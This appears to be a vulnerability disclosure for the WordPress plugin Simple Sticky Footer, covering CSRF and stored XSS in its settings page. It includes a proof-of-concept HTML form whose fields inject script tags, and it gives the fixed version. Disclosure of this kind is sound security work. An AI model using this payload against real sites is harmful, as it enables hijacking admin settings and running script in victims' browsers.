## Description: 
----------------------------------------------------------------
Simple Sticky Footer is a lightweight plugin, it allows to promote/advertise a WP Page (rich-text document) as a sticky footer (always on top div).

## CSRF:
----------------------------------------------------------------
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page. 


## Stored XSS:
----------------------------------------------------------------
Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields. 

PoC:
Log in to a vulnerable site and press submit on this form: 

<form method="POST" action="http://[Domain]/wp-admin/themes.php?page=simple-simple-sticky-footer"> 
   <input type="text" name="page_id" value="7"><br />
  <input type="text" name="simple_sf_width" value="'/><script>alert(1)</script>"><br />
  <input type="text" name="simple_sf_effect" value="fade"><br />
  <input type="text" name="simple_sf_delay" value="0"><br />  
  <input type="text" name="simple_sf_style" value="</textarea><script>alert(2)</script>"><br />  
  <input type="text" name="submit" value="save"><br />
  <input type="submit">
</form>


## Solution
----------------------------------------------------------------
Update to version 1.3.3.
